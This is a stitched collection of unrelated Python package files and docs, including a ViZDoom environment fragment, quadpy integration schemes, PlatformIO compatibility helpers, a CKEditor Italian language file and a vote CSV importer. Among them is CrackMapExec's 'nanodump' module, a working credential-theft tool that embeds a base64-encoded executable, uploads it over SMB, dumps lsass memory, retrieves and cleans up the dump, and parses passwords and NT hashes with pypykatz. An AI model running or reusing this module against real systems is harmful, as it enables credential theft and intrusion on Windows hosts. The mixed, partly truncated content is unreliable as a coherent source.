self.game.set_render_crosshair(False)
self.game.set_render_decals(False)
self.game.set_render_particles(False)
for camera in self.cameras:
if hasattr(self.game, 'set_{}_enabled'.format(camera.value[1])):
getattr(self.game, 'set_{}_enabled'.format(camera.value[1]))(True)
self.game.init()
# actions
actions_description = ['NO-OP']
actions_description += [str(action).split(".")[1] for action in self.game.get_available_buttons()]
actions_description = actions_description[::-1]
self.action_space = MultiSelectActionSpace(self.game.get_available_buttons_size(),
max_simultaneous_selected_actions=1,
descriptions=actions_description,
allow_no_action_to_be_selected=True)
# human control
if self.human_control:
# TODO: add this to the action space
# map keyboard keys to actions
for idx, action in enumerate(self.action_space.descriptions):
if action in key_map.keys():
self.key_to_action[(key_map[action],)] = idx
# states
self.state_space = StateSpace({
"measurements": VectorObservationSpace(self.game.get_state().game_variables.shape[0],
measurements_names=[str(m) for m in
self.game.get_available_game_variables()])
})
for camera in self.cameras:
self.state_space[camera.value[0]] = ImageObservationSpace(
shape=np.array([self.game.get_screen_height(), self.game.get_screen_width(), 3]),
high=255)
# seed
if seed is not None:
self.game.set_seed(seed)
self.reset_internal_state()
# render
if self.is_rendered:
image = self.get_rendered_image()
self.renderer.create_screen(image.shape[1], image.shape[0])
self.target_success_rate = target_success_rate
def _update_state(self):
# extract all data from the current state
state = self.game.get_state()
if state is not None and state.screen_buffer is not None:
self.measurements = state.game_variables
self.state = {'measurements': self.measurements}
for camera in self.cameras:
observation = getattr(state, camera.value[1])
if len(observation.shape) == 3:
self.state[camera.value[0]] = np.transpose(observation, (1, 2, 0))
elif len(observation.shape) == 2:
self.state[camera.value[0]] = np.repeat(np.expand_dims(observation, -1), 3, axis=-1)
self.reward = self.game.get_last_reward()
self.done = self.game.is_episode_finished()
def _take_action(self, action):
self.game.make_action(list(action), self.frame_skip)
def _restart_environment_episode(self, force_environment_reset=False):
self.game.new_episode()
def get_rendered_image(self) -> np.ndarray:
"""
Return a numpy array containing the image that will be rendered to the screen.
This can be different from the observation. For example, mujoco's observation is a measurements vector.
:return: numpy array containing the image that will be rendered to the screen
"""
image = [self.state[camera.value[0]] for camera in self.cameras]
image = np.vstack(image)
return image
def get_target_success_rate(self) -> float:
return self.target_success_rate
|
PypiClean
|
/crackmapexec-5.2.3.tar.gz/crackmapexec-5.2.3/cme/modules/nanodump.py
|
from io import StringIO
import os
import sys
import re
import time
import base64
class CMEModule:
name = 'nanodump'
description = "Get lsass dump using nanodump and parse the result with pypykatz"
supported_protocols = ['smb']
opsec_safe = True # not really
multiple_hosts = True
def options(self, context, module_options):
'''
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
NANO_PATH Path where nano.exe is on your system (default: /tmp/shared/)
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
'''
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.nano_embeded = base64.b64decode("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYJAAAAAAAAAAAAAAAAAPAALwILAgIjAJoAAADeAAAADAAA4BQAAAAQAAAAAEAAAAAAAAAQAAAAAgAABAAAAAAAAAAFAAIAAAAAAABQAQAABAAAvzwBAAMAAAAAACAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAAAAAAAAA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MSJhIjZVQ////SAHCD7ZFl4gCg0XMAYtFzEiYSI2VUP///0gBwotFmIkCg0XMBItFzEiYSI2VUP///0gBwotFnIkCg0XMBItFzEiYSI2VUP///0gBwotFoIkCg0XMBItFzEiYSI2VUP///0gBwotFpIkCg0XMBItFzEiYSI2VUP///0gBwotFqIkCg0XMBItFzEiYSI2VUP///0gBwg+3RaxmiQKDRcwCi0XMSJhIjZVQ////SAHCD7dFrmaJAoNFzAKLRcxImEiNlVD///9IAcJIi0WwSIkCg0XMCItFzEiYSI2VUP///0gBwkiLRbhIiQKDRcwISItFEItAEImFTP///4tVjEiNhVD///9BidBIicJIi00Q6KL1//9IjUWMQbkEAAAASYnAuiQAAABIi00Q6D71//9IjYVM////QbkEAAAASYnAuigAAABIi00Q6CD1//9Ii0UQi0AQiYVI////SItF0A+3AA+3wImFRP///0iNhUT///9BuAQAAABIicJIi00Q6DP1//9Ii0XQD7cAD7fQSItF0EiLQAhBidBIicJIi00Q6BL1//+LhUz///+DwBhIjZVI////QbkEAAAASYnQicJIi00Q6KX0//+4AQAAAEiBxOAAAABdw1VIieVIg+xwSIlNEMdF/AAAAABIjVXAi0X8SMdEJCAAAAAAQbkwAAAASYnQicJIi00Q6DXu//+JRfiDffgAeRiLRfiJwkiNDa2pAADoaOz//7gAAAAA6wRIi0XISIPEcF3DVUiB7AADAABIjawkgAAAAEiJjZACAABIiZWYAgAARImFoAIAAESJjagCAABIx4V4AgAAAAAAAMeFdAIAAAAAAABIi42QAgAA6FH///9IiYVYAgAASIO9WAIAAAB1CrgAAAAA6cQEAABmx4VWAgAACABIi4VYAgAASIPAGEiJhUgCAABID7+NVgIAAEiNlRgCAABIi4VIAgAASMdEJCAAAAAASYnJSYnQSInCSIuNkAIAAOiT7P//iYVEAgAAgb1EAgAADQAAgHUTg72oAgAAAHUKuAAAAADpUAQAAIO9RAIAAAB5HouFRAIAAInCSI0N46gAAOhe6///uAAAAADpKQQAAEiLhRgCAABIg8AgSImFOAIAAEgPv41WAg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V4AgAASImFYAIAAOsRSIuFYAIAAEiLAEiJhWACAABIi4VgAgAASIsASIXAdeBIi4VgAgAASIuVIAIAAEiJEA+3hXICAACDwAFmiYVyAgAA6wGQg4VoAgAAAYuFaAIAADuFoAIAAA+MO/3//0iLhbABAABIiYUQAgAASIuFEAIAAEg5hTACAAB0FQ+/hXICAAA5haACAAAPj5X8///rAZCDvagCAAAAdByDvXQCAAAAdRNIjQ0OpQAA6Dnn//+4AAAAAOsHSIuFeAIAAEiBxAADAABdw1VIgezQAQAASI2sJIAAAABIiY1gAQAASI0FuKQAAEiJhaAAAABIjQXspAAASImFqAAAAEiNBfSkAABIiYWwAAAASI0F+qQAAEiJhbgAAABIjQUEpQAASImFwAAAAEiNBRClAABIiYXIAAAASI0FGqUAAEiJhdAAAABIjQUmpQAASImF2AAAAEiNBS6lAABIiYXgAAAASI0FOqUAAEiJhegAAABIjQVApQAASImF8AAAAEiNBUilAABIiYX4AAAASI0FUKUAAEiJhQABAABIjQVYpQAASImFCAEAAEiNBWilAABIiYUQAQAASI0FdKUAAEiJhRgBAABIjQV+pQAASImFIAEAAEiNBYilAABIiYUoAQAASIuFYAEAAEiLAEiNlaAAAABBuQEAAABBuBIAAABIicHok/n//0iJhUABAABIg71AAQAAAHUKuAAAAADp5QQAAEiLhUABAABIiYVIAQAAx4WcAAAAAAAAAOmcAAAAi4WcAAAAg8ABiYWcAAAASIuFYAEAAItQEEiLhUgBAACJkBQBAABIi4VIAQAASIPAFLoAAQAASInB6NQhAACJRRiLRRiDwAGJRRiLRRgBwIlFGEiNRRhBuAQAAABIicJIi41gAQAA6G7t//+LVRhIi4VIAQAASIPAFEGJ0EiJwkiLjWABAADoTu3//0iLhUgBAABIiwBIiYVIAQAASIO9SAEAAAAPhVb///9Ii4VgAQAAi0AQiYWYAAAASI2FnAAAAEG4BAAAAEiJwkiLjWABAADoA+3//0iLhUABAABIiYVIAQAA6XwDAABIi4VIAQAASItACEiJRaBIi4VIAQAAi0AQiUWox0WsAAA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idZIicfzpg+XwA+SwinQD77AhcB0PYtF6EiYSI0UxQAAAABIi0UoSAHQSIsASInCSI0Fn5kAALkIAAAASInWSInH86YPl8APksIp0A++wIXAdSSDRegBi0XoSJhIjRTFAAAAAEiLRShIAdBIiwBIiUXw6WgBAACLRehImEiNFMUAAAAASItFKEgB0EiLAEiJwkiNBUaZAAC5AwAAAEiJ1kiJx/OmD5fAD5LCKdAPvsCFwHQ9i0XoSJhIjRTFAAAAAEiLRShIAdBIiwBIicJIjQUMmQAAuQYAAABIidZIicfzpg+XwA+SwinQD77AhcB1K4NF6AGLRehImEiNFMUAAAAASItFKEgB0EiLAEiJwejhYQAAiUX86cMAAACLRehImEiNFMUAAAAASItFKEgB0EiLAEiJwkiNBaqYAAC5AwAAAEiJ1kiJx/OmD5fAD5LCKdAPvsCFwHQ9i0XoSJhIjRTFAAAAAEiLRShIAdBIiwBIicJIjQVwmAAAuQcAAABIidZIicfzpg+XwA+SwinQD77AhcB1GUiLRShIiwBIicHoN/z//7gAAAAA6YMCAACLRehImEiNFMUAAAAASItFKEgB0EiLAEiJwkiNDSGYAADoANb//7j/////6VMCAACDRegBi0XoO0UgD4xb/f//SIN98AB1GUiLRShIiwBIicHo1/v//7j/////6SMCAABIi0XwulwAAABIicHoRWAAAEiFwHUdSItF8EiJwkiNDdqXAADondX//7j/////6fABAADoLeH//4lF7IN97AB1DEiNDd6XAADoedX//4N9/AB0EItF/InB6BTi//9IiUXg6wnokPr//0iJReBIg33gAHUKuP/////ppgEAAEjHRdAAAAAASMdFyAAAYARIjVXISI1F0MdEJCgEAAAAx0QkIAAQAABJidFBuAAAAABIicJIx8H/////6HzX//+JRdyDfdwAeSpIi0XgSInB6CfW//9Ix0XgAAAAAEiNDYWXAADo4NT//7j/////6TMBAABIi0XgSIlFoEiLRdBIiUWox0WwAAAAAEiNRdhIiUW4SI1FoEiJweg7+f//iUXsi1WwSItFqEiJweiS+v//g33sAHQZi02wSItVqEiLRfBBichIicHoEt3//4lF7ItFsIn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50ZWQgKFVOREVSRkxPVykAQXJndW1lbnQgc2luZ3VsYXJpdHkgKFNJR04pAAAAAAAAAF9tYXRoZXJyKCk6ICVzIGluICVzKCVnLCAlZykgIChyZXR2YWw9JWcpCgAA2Gn//4xp//8kaf//rGn//7xp///Maf//nGn//01pbmd3LXc2NCBydW50aW1lIGZhaWx1cmU6CgAAAAAAQWRkcmVzcyAlcCBoYXMgbm8gaW1hZ2Utc2VjdGlvbgAgIFZpcnR1YWxRdWVyeSBmYWlsZWQgZm9yICVkIGJ5dGVzIGF0IGFkZHJlc3MgJXAAAAAAAAAAACAgVmlydHVhbFByb3RlY3QgZmFpbGVkIHdpdGggY29kZSAweCV4AAAgIFVua25vd24gcHNldWRvIHJlbG9jYXRpb24gcHJvdG9jb2wgdmVyc2lvbiAlZC4KAAAAAAAAACAgVW5rbm93biBwc2V1ZG8gcmVsb2NhdGlvbiBiaXQgc2l6ZSAlZC4KAAAAAAAAAAAAAAAAAAAAoG7//6Bu//+gbv//oG7//6Bu//8Ibv//oG7//9Bu//8Ibv//M27//wAAAAAAAAAAKG51bGwpAE5hTgBJbmYAACgAbgB1AGwAbAApAAAAAADSmf//2JP//9iT///smf//2JP///SY///Yk///C5n//9iT///Yk///gJn//7yZ///Yk///h5f//6CX///Yk///vJf//9iT///Yk///2JP//9iT///Yk///2JP//9iT///Yk///2JP//9iT///Yk///2JP//9iT///Yk///2JP//9iT///cl///2JP//xSY///Yk///TJj//4SY//+8mP//2JP//0KW///Yk///2JP//3CX///Yk///2JP//9iT///Yk///2JP//9iT//8Jmv//2JP//9iT///Yk///2JP//1CU///Yk///2JP//9iT///Yk///2JP//9iT///Yk///2JP//8qV///Yk///R5X//8CU//9qlv//AJf//ziX//+ilv//wJT//6iU///Yk///wpb//+KW//+Mlf//UJT//wKW///Yk///2JP//xuV//+olP//UJT//9iT///Yk///UJT//9iT//+olP//AAAAAEluZmluaXR5AE5hTgAwAAAAAAAAAAD4P2FDb2Onh9I/s8hgiyiKxj/7eZ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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")
self.nano = "nano.exe"
self.nano_path = "/tmp/shared/"
self.dir_result = self.nano_path
self.useembeded = True
if 'NANO_PATH' in module_options:
self.nano_path = module_options['NANO_PATH']
self.useembeded = False
if 'NANO_EXE_NAME' in module_options:
self.nano = module_options['NANO_EXE_NAME']
self.useembeded = False
if 'TMP_DIR' in module_options:
self.tmp_dir = module_options['TMP_DIR']
if 'DIR_RESULT' in module_options:
self.dir_result = module_options['DIR_RESULT']
def on_admin_login(self, context, connection):
if self.useembeded == True:
with open(self.nano_path + self.nano, 'wb') as nano:
nano.write(self.nano_embeded)
context.log.info('Copy {} to {}'.format(self.nano_path + self.nano, self.tmp_dir))
with open(self.nano_path + self.nano, 'rb') as nano:
try:
connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
context.log.success('Created file {} on the \\\\{}{}'.format(self.nano, self.share, self.tmp_share))
except Exception as e:
context.log.error('Error writing file to share {}: {}'.format(share, e))
# get pid lsass
command = 'tasklist /v /fo csv | findstr /i "lsass"'
context.log.info('Getting lsass PID {}'.format(command))
p = connection.execute(command, True)
pid = p.split(',')[1][1:-1]
command = self.tmp_dir + self.nano + ' --pid ' + pid + ' --write ' + self.tmp_dir + '%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log'
context.log.info('Executing command {}'.format(command))
p = connection.execute(command, True)
context.log.debug(p)
dump = False
if 'Done' in p:
context.log.success('Process lsass.exe was successfully dumped')
dump = True
else:
context.log.error('Process lsass.exe error un dump, try with verbose')
if dump:
regex = r"([A-Za-z0-9]*-[A-Za-z]*[0-9]+-[A-Za-z0-9]*\.log)"
p = connection.execute("dir " + self.tmp_dir, True)
context.log.debug(p)
matches = re.search(regex, str(p), re.MULTILINE)
machine_name = ''
if matches:
machine_name = matches.group()
else:
context.log.info("Error getting the lsass.dmp file name")
sys.exit(1)
context.log.info('Copy {} to host'.format(machine_name))
with open(self.dir_result + machine_name, 'wb+') as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(self.dir_result + machine_name))
except Exception as e:
context.log.error('Error while get file: {}'.format(e))
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
context.log.success('Deleted nano file on the {} share'.format(self.share))
except Exception as e:
context.log.error('Error deleting nano file on share {}: {}'.format(self.share, e))
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share))
except Exception as e:
context.log.error('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
fh = open(self.dir_result + machine_name, "r+b")
fh.seek(0)
fh.write(b'\x4d\x44\x4d\x50')
fh.seek(4)
fh.write(b'\xa7\x93')
fh.seek(6)
fh.write(b'\x00\x00')
fh.close()
context.log.info("pypykatz lsa minidump {} --outfile {}.txt".format(self.dir_result + machine_name, self.dir_result + machine_name))
try:
context.log.info('Invoke pypykatz in order to extract the credentials ...')
os.system("pypykatz lsa minidump " + self.dir_result + machine_name + " --outfile " + self.dir_result + machine_name + ".txt >/dev/null 2>&1")
context.log.info("Extracted credentials:")
with open(self.dir_result + machine_name + ".txt", 'r') as outfile:
data = outfile.read()
regex = r"(?:username:? (?!NA)(?P<username>.+[^\$])\n.*domain(?:name)?:? (?P<domain>.+)\n)(?:.*password:? (?!None)(?P<password>.+)|.*\n.*NT: (?P<hash>.*))"
matches = re.finditer(regex, data, re.MULTILINE | re.IGNORECASE)
credz_bh = []
domain = ""
for match in matches:
domain = match.group("domain")
username = match.group("username")
password = match.group("password") or match.group("hash")
context.log.success(highlight(domain + "\\" + username + ":" + password))
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
if domain:
add_user_bh(credz_bh, domain, context.log, connection.config)
except Exception as e:
context.log.error('Error while execute pypykatz: {}'.format(e))
context.log.error('Please make sure pypykatz is installed (pip3 install pypykatz)')
|
PypiClean
|
/quadpy-gpl-0.16.10.tar.gz/quadpy-gpl-0.16.10/src/quadpy/t3/_stroud.py
|
import numpy as np
from ..c1 import gauss_legendre
from ..helpers import book
from ..tn._stroud import stroud_tn_5_1
from ._helpers import T3Scheme, register
source = book(
authors=["Arthur Stroud"],
title="Approximate Calculation of Multiple Integrals",
publisher="Prentice Hall",
year="1971",
)
def stroud_t3_5_1():
return stroud_tn_5_1(3)
def stroud_t3_7_1():
degree = 7
gl4 = gauss_legendre(4)
r = (gl4.points + 1) / 2
A = gl4.weights / 2
# Generate Gauss formula for int_0^1 (1-s) * f(s) ds.
# ```
# k = np.arange(8)
# moments = 1 / (k**2 + 3*k + 2)
# alpha, beta = orthopy.c1.chebyshev(moments)
# s, B = orthopy.c1.schemes.custom(alpha, beta, mode='numpy')
# ```
s = np.array(
[
5.710419611452533e-02,
2.768430136381415e-01,
5.835904323689318e-01,
8.602401356562251e-01,
]
)
B = np.array(
[
1.355069134315012e-01,
2.034645680102685e-01,
1.298475476082247e-01,
3.118097095000554e-02,
]
)
# Generate Gauss formula for int_0^1 (1-t)^2 * f(t) ds.
# ```
# k = np.arange(8)
# moments = 2 / (k**3 + 6*k**2 + 11*k + 6)
# alpha, beta = orthopy.c1.chebyshev(moments)
# t, C = orthopy.c1.schemes.custom(alpha, beta, mode='numpy')
# ```
t = np.array(
[
4.850054944699245e-02,
2.386007375518456e-01,
5.170472951043522e-01,
7.958514178967657e-01,
]
)
C = np.array(
[
1.108884156112685e-01,
1.434587897992167e-01,
6.863388717292915e-02,
1.035224074991912e-02,
]
)
weights = np.array(
[6 * A[i] * B[j] * C[k] for i in range(4) for j in range(4) for k in range(4)]
)
points = np.array(
[
[
t[k],
s[j] * (1 - t[k]),
r[i] * (1 - s[j]) * (1 - t[k]),
(1 - r[i]) * (1 - s[j]) * (1 - t[k]),
]
for i in range(4)
for j in range(4)
for k in range(4)
]
)
points = np.ascontiguousarray(points.T)
d = {"plain": [weights, points[0], points[1], points[2], points[3]]}
return T3Scheme("Stroud T3 7-1", d, degree, source)
register([stroud_t3_5_1, stroud_t3_7_1])
|
PypiClean
|
/PyAstronomy-0.19.0.tar.gz/PyAstronomy-0.19.0/src/doc/pyaslDoc/aslDoc/cardinalPoint.rst
|
Convert azimuth into cardinal point
====================================
.. p23ready
The cardinal points or cardinal directions are
North, East, South, and West.
.. currentmodule:: PyAstronomy.pyasl
.. autofunction:: getCardinalPoint
Example
--------
::
from __future__ import print_function, division
from PyAstronomy import pyasl
import numpy as np
# Get the cardinal point for 10 azimuth angles
azimuths = np.random.random(10) * 360.
for azimuth in azimuths:
cp = pyasl.getCardinalPoint(azimuth)
print("Azimuth: {0:6.2f} deg, Cardinal point: {1:1s}".format(azimuth, cp))
|
PypiClean
|
/aide-core-6.1.10a3.tar.gz/aide-core-6.1.10a3/platformio/compat.py
|
# pylint: disable=unused-import,no-name-in-module
import importlib.util
import inspect
import locale
import shlex
import sys
from platformio.exception import UserSideException
if sys.version_info >= (3, 7):
from asyncio import create_task as aio_create_task
from asyncio import get_running_loop as aio_get_running_loop
else:
from asyncio import ensure_future as aio_create_task
from asyncio import get_event_loop as aio_get_running_loop
if sys.version_info >= (3, 8):
from shlex import join as shlex_join
else:
def shlex_join(split_command):
return " ".join(shlex.quote(arg) for arg in split_command)
if sys.version_info >= (3, 9):
from asyncio import to_thread as aio_to_thread
else:
from starlette.concurrency import run_in_threadpool as aio_to_thread
PY2 = sys.version_info[0] == 2 # DO NOT REMOVE IT. ESP8266/ESP32 depend on it
IS_CYGWIN = sys.platform.startswith("cygwin")
IS_WINDOWS = WINDOWS = sys.platform.startswith("win")
IS_MACOS = sys.platform.startswith("darwin")
MISSING = object()
string_types = (str,)
def is_bytes(x):
return isinstance(x, (bytes, memoryview, bytearray))
def isascii(text):
if sys.version_info >= (3, 7):
return text.isascii()
for c in text or "":
if ord(c) > 127:
return False
return True
def is_terminal():
try:
return sys.stdout.isatty()
except Exception: # pylint: disable=broad-except
return False
def ci_strings_are_equal(a, b):
if a == b:
return True
if not a or not b:
return False
return a.strip().lower() == b.strip().lower()
def hashlib_encode_data(data):
if is_bytes(data):
return data
if not isinstance(data, string_types):
data = str(data)
return data.encode()
def load_python_module(name, pathname):
spec = importlib.util.spec_from_file_location(name, pathname)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return module
def get_filesystem_encoding():
return sys.getfilesystemencoding() or sys.getdefaultencoding()
def get_locale_encoding():
return locale.getpreferredencoding()
def get_object_members(obj, ignore_private=True):
members = inspect.getmembers(obj, lambda a: not inspect.isroutine(a))
if not ignore_private:
return members
return {
item[0]: item[1]
for item in members
if not (item[0].startswith("__") and item[0].endswith("__"))
}
def ensure_python3(raise_exception=True):
compatible = sys.version_info >= (3, 6)
if not raise_exception or compatible:
return compatible
raise UserSideException(
"Python 3.6 or later is required for this operation. \n"
"Please check a migration guide:\n"
"https://docs.platformio.org/en/latest/core/migration.html"
"#drop-support-for-python-2-and-3-5"
)
def path_to_unicode(path):
"""
Deprecated: Compatibility with dev-platforms,
and custom device monitor filters
"""
return path
|
PypiClean
|
/django-mailto-0.1.0b.tar.gz/django-mailto-0.1.0b/mailto/static/mailto/js/lib/ckeditor/plugins/a11yhelp/dialogs/lang/it.js
|
/*
Copyright (c) 2003-2014, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang("a11yhelp","it",{title:"Istruzioni di Accessibilità",contents:"Contenuti di Aiuto. Per chiudere questa finestra premi ESC.",legend:[{name:"Generale",items:[{name:"Barra degli strumenti Editor",legend:"Premi ${toolbarFocus} per navigare fino alla barra degli strumenti. Muoviti tra i gruppi della barra degli strumenti con i tasti Tab e Maiusc-Tab. Spostati tra il successivo ed il precedente pulsante della barra degli strumenti usando le frecce direzionali Destra e Sinistra. Premi Spazio o Invio per attivare il pulsante della barra degli strumenti."},
{name:"Finestra Editor",legend:"All'interno di una finestra di dialogo, premi Tab per navigare fino al campo successivo della finestra di dialogo, premi Maiusc-Tab per tornare al campo precedente, premi Invio per inviare la finestra di dialogo, premi Esc per uscire. Per le finestre che hanno schede multiple, premi Alt+F10 per navigare nella lista delle schede. Quindi spostati alla scheda successiva con il tasto Tab oppure con la Freccia Destra. Torna alla scheda precedente con Maiusc+Tab oppure con la Freccia Sinistra. Premi Spazio o Invio per scegliere la scheda."},
{name:"Menù contestuale Editor",legend:"Premi ${contextMenu} o TASTO APPLICAZIONE per aprire il menu contestuale. Dunque muoviti all'opzione successiva del menu con il tasto TAB o con la Freccia Sotto. Muoviti all'opzione precedente con MAIUSC+TAB o con Freccia Sopra. Premi SPAZIO o INVIO per scegliere l'opzione di menu. Apri il sottomenu dell'opzione corrente con SPAZIO o INVIO oppure con la Freccia Destra. Torna indietro al menu superiore con ESC oppure Freccia Sinistra. Chiudi il menu contestuale con ESC."},
{name:"Box Lista Editor",legend:"Dentro un box-lista, muoviti al prossimo elemento della lista con TAB o con la Freccia direzionale giù. Spostati all'elemento precedente con MAIUSC+TAB oppure con Freccia direzionale sopra. Premi SPAZIO o INVIO per scegliere l'opzione della lista. Premi ESC per chiudere il box-lista."},{name:"Barra percorso elementi editor",legend:"Premi ${elementsPathFocus} per navigare tra gli elementi della barra percorso. Muoviti al prossimo pulsante di elemento con TAB o la Freccia direzionale destra. Muoviti al pulsante precedente con MAIUSC+TAB o la Freccia Direzionale Sinistra. Premi SPAZIO o INVIO per scegliere l'elemento nell'editor."}]},
{name:"Comandi",items:[{name:" Annulla comando",legend:"Premi ${undo}"},{name:" Ripeti comando",legend:"Premi ${redo}"},{name:" Comando Grassetto",legend:"Premi ${bold}"},{name:" Comando Corsivo",legend:"Premi ${italic}"},{name:" Comando Sottolineato",legend:"Premi ${underline}"},{name:" Comando Link",legend:"Premi ${link}"},{name:" Comando riduci barra degli strumenti",legend:"Premi ${toolbarCollapse}"},{name:"Comando di accesso al precedente spazio di focus",legend:"Premi ${accessPreviousSpace} per accedere il più vicino spazio di focus non raggiungibile prima del simbolo caret, per esempio due elementi HR adiacenti. Ripeti la combinazione di tasti per raggiungere spazi di focus distanti."},
{name:"Comando di accesso al prossimo spazio di focus",legend:"Premi ${accessNextSpace} per accedere il più vicino spazio di focus non raggiungibile dopo il simbolo caret, per esempio due elementi HR adiacenti. Ripeti la combinazione di tasti per raggiungere spazi di focus distanti."},{name:" Aiuto Accessibilità",legend:"Premi ${a11yHelp}"}]}],backspace:"Backspace",tab:"Tab",enter:"Invio",shift:"Maiusc",ctrl:"Ctrl",alt:"Alt",pause:"Pausa",capslock:"Bloc Maiusc",escape:"Esc",pageUp:"Pagina sù",pageDown:"Pagina giù",
end:"Fine",home:"Inizio",leftArrow:"Freccia sinistra",upArrow:"Freccia su",rightArrow:"Freccia destra",downArrow:"Freccia giù",insert:"Ins","delete":"Canc",leftWindowKey:"Tasto di Windows sinistro",rightWindowKey:"Tasto di Windows destro",selectKey:"Tasto di selezione",numpad0:"0 sul tastierino numerico",numpad1:"1 sul tastierino numerico",numpad2:"2 sul tastierino numerico",numpad3:"3 sul tastierino numerico",numpad4:"4 sul tastierino numerico",numpad5:"5 sul tastierino numerico",numpad6:"6 sul tastierino numerico",
numpad7:"7 sul tastierino numerico",numpad8:"8 sul tastierino numerico",numpad9:"9 sul tastierino numerico",multiply:"Moltiplicazione",add:"Più",subtract:"Sottrazione",decimalPoint:"Punto decimale",divide:"Divisione",f1:"F1",f2:"F2",f3:"F3",f4:"F4",f5:"F5",f6:"F6",f7:"F7",f8:"F8",f9:"F9",f10:"F10",f11:"F11",f12:"F12",numLock:"Bloc Num",scrollLock:"Bloc Scorr",semiColon:"Punto-e-virgola",equalSign:"Segno di uguale",comma:"Virgola",dash:"Trattino",period:"Punto",forwardSlash:"Barra",graveAccent:"Accento grave",
openBracket:"Parentesi quadra aperta",backSlash:"Barra rovesciata",closeBracket:"Parentesi quadra chiusa",singleQuote:"Apostrofo"});
|
PypiClean
|
/tad_dftd4-0.0.4.tar.gz/tad_dftd4-0.0.4/doc/installation.rst
|
Installation
------------
pip
~~~
*tad-dftd4* can easily be installed with ``pip``.
.. code::
pip install tad-dftd4
From source
~~~~~~~~~~~
This project is hosted on GitHub at `dftd4/tad-dftd4 <https://github.com/dftd4/tad-dftd4>`__.
Obtain the source by cloning the repository with
.. code::
git clone https://github.com/dftd4/tad-dftd4
cd tad-dftd4
We recommend using a `conda <https://conda.io/>`__ environment to install the package.
You can setup the environment manager using a `mambaforge <https://github.com/conda-forge/miniforge>`__ installer.
Install the required dependencies from the conda-forge channel.
.. code::
mamba env create -n torch -f environment.yaml
mamba activate torch
Development
~~~~~~~~~~~
For development, additionally install the following tools in your environment.
.. code::
mamba install black covdefaults coverage mypy pre-commit pylint tox
With pip, add the option ``-e`` and the development dependencies for installing in development mode.
.. code::
pip install -e .[dev]
The pre-commit hooks are initialized by running the following command in the root of the repository.
.. code::
pre-commit install
For testing all Python environments, simply run `tox`.
.. code::
tox
Note that this randomizes the order of tests but skips "large" tests. To modify this behavior, `tox` has to skip the optional _posargs_.
.. code::
tox -- test
|
PypiClean
|
/onegov.election_day-3.13.9-py3-none-any.whl/onegov/election_day/formats/vote/default.py
|
from onegov.ballot import BallotResult
from onegov.election_day import _
from onegov.election_day.formats.common import EXPATS
from onegov.election_day.formats.common import FileImportError
from onegov.election_day.formats.common import load_csv
from onegov.election_day.formats.common import BALLOT_TYPES
HEADERS = [
'id',
'ja stimmen',
'nein stimmen',
'Stimmberechtigte',
'leere stimmzettel',
'ungültige stimmzettel'
]
def import_vote_default(vote, principal, ballot_type, file, mimetype):
""" Tries to import the given csv, xls or xlsx file to the given ballot
result type.
This is a custom format defined by us to easily create vote results by
hand.
:return:
A list containing errors.
"""
assert ballot_type in BALLOT_TYPES
filename = {
'proposal': _("Proposal"),
'counter-proposal': _("Counter Proposal"),
'tie-breaker': _("Tie-Breaker")
}.get(ballot_type)
csv, error = load_csv(
file, mimetype, expected_headers=HEADERS, filename=filename
)
if error:
return [error]
ballot = vote.ballot(ballot_type, create=True)
ballot_results = []
errors = []
added_entity_ids = set()
entities = principal.entities[vote.date.year]
# if we have the value "unknown" or "unbekannt" in any of the following
# colums, we ignore the whole line
significant_columns = (
'ja_stimmen',
'leere_stimmzettel',
'nein_stimmen',
'stimmberechtigte',
'ungultige_stimmzettel',
)
skip_indicators = ('unknown', 'unbekannt')
def skip_line(line):
for column in significant_columns:
if str(getattr(line, column, '')).lower() in skip_indicators:
return True
return False
skipped = 0
for line in csv.lines:
if skip_line(line):
skipped += 1
continue
line_errors = []
# the id of the municipality or district
